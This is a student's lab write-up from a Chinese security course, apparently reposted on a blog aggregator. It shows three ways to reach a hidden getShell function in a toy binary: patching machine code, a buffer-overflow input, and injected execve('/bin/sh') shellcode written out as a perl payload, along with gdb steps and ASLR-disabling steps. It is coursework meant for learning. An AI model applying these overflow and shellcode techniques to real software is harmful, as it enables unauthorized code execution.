zoukankan      html  css  js  c++  java
  • 2017-2018-2 『网络对抗技术』Exp1:PC平台逆向破解 20165335

    一.实验目标:

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

      三个实践内容如下:

        手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

        利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

        注入一个自己制作的shellcode并运行这段shellcode。

      这几种思路,基本代表现实情况中的攻击目标:

        运行原本不可访问的代码片段

        强行修改程序执行流

        以及注入运行任意代码。

    二.基础指令:

      objdump -d:反汇编目标文件中包含的可执行指令。

      call+地址 是说这条指令将调用位于地址处的函数

      gdb info 查看寄存器的数值

      x0a表示回车

      xxd:进行十六进制的输出,也可以将十六进制输出转换为原来的二进制格式。

    三.直接修改机器指令

      先使用objdump指令查看反汇编代码

      call后面表示要跳转的地址,表示main函数跳转到foo函数处

      我们想要修改地址,跳转到getshell函数中,机器指令e8后的地址即可,直接修改为为c3即完成跳转地址转变

      

      运行结果如下:

      

      四.构造输入函数,进行bof攻击:

      先确认那几个字符会覆盖返回地址,这里使用一个40bit的字符串来进行探测

      

      

      通过前后对比EIP寄存器的地址,发现字符串中的1234字段覆盖了地址,那么只需要在对应的位置将其进行eip地址的覆盖修改

      同时,验证字符串11111111222222223333333344444444x7dx84x04x08的准确性

      最后,将字符串注入,完成攻击

      五.注入shellcode并执行

      首先先确认堆栈,文件堆栈可执行,关闭地址随机化,防止地址的变化

      构造payload:使用命令perl -e 'print "A" x 32;print "x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

      用A来填满缓冲区,以确认,寻找字符串中对应的的4个字节

       输入命令  (cat input_shellcode;cat) | ./20165335 注入攻击bof

       在另外一个终端进行gdb调试,先使用 ps -ef | grep 20165335寻找进程号

       用attach 命令调用·进程

       同时,反汇编,在函数return  esp指针变化执行后的ret语句出,设置断点

       使用info r esp 查看esp寄存器的值,找出shellcode的地址(地址就在指针的后面)

       最后,将找到的4个字节的地址填充进去,完成注入,再次运行程序,实现攻击

     六. 实验收获与感想

      在此次实验中,我感受到了实验原理的重要性,经过刘老师的原理讲解,使得在实验中思路清晰,知道现在自己在做什么,这样做的目的是什么,使得在过程中,清晰明了,

      也经过实验,更深刻的认识到了其中的原理以及eip寄存器,地址等在内存的实际变化,受益匪浅。

    漏洞,就是能够使得恶意代码,经过各种非正常的方式注入计算机,并进行运行的计算机运行bug。

    漏洞可以使得计算机按照其他人的指令,操作进行运行,可以使得恶意代码不经过各种安全方式运行程序,从而执行shellcode,破坏计算机

    NOP 机器码90:NOP指令为空指令,计算机不进行任何操作

    JNE 机器码75:条件转移指令,对比是否相等,不相等就跳转

    JE 机器码74 :条件转移指令,对比是否相等,相等就跳转

    JMP:无条件转移指令。

      段内直接短转 机器码:EB

      段内直接近转移Jmp near 机器码:E9

      段内间接转移 Jmp word 机器码:FF

      段间直接(远)转移Jmp far 机器码:EA

    CMP:比较指令,对标志寄存器产生影响

      

  • 相关阅读:
    Go学习(5):集合
    Go学习(4):数组和切片
    Go学习(3):分支循环
    Go学习(2):基本语法
    Go学习(1):简介和配置
    input输入框只能输入数字而且开头不能为零
    JS 显示周 几和 月 日
    IntelliJ Idea 跳出括号并且光标移到末尾的快捷键
    不可小视的String字符串
    PrintWriter中的write与println方法居然就是这些区别
  • 原文地址:https://www.cnblogs.com/x20165335/p/10525131.html
Copyright © 2011-2022 走看看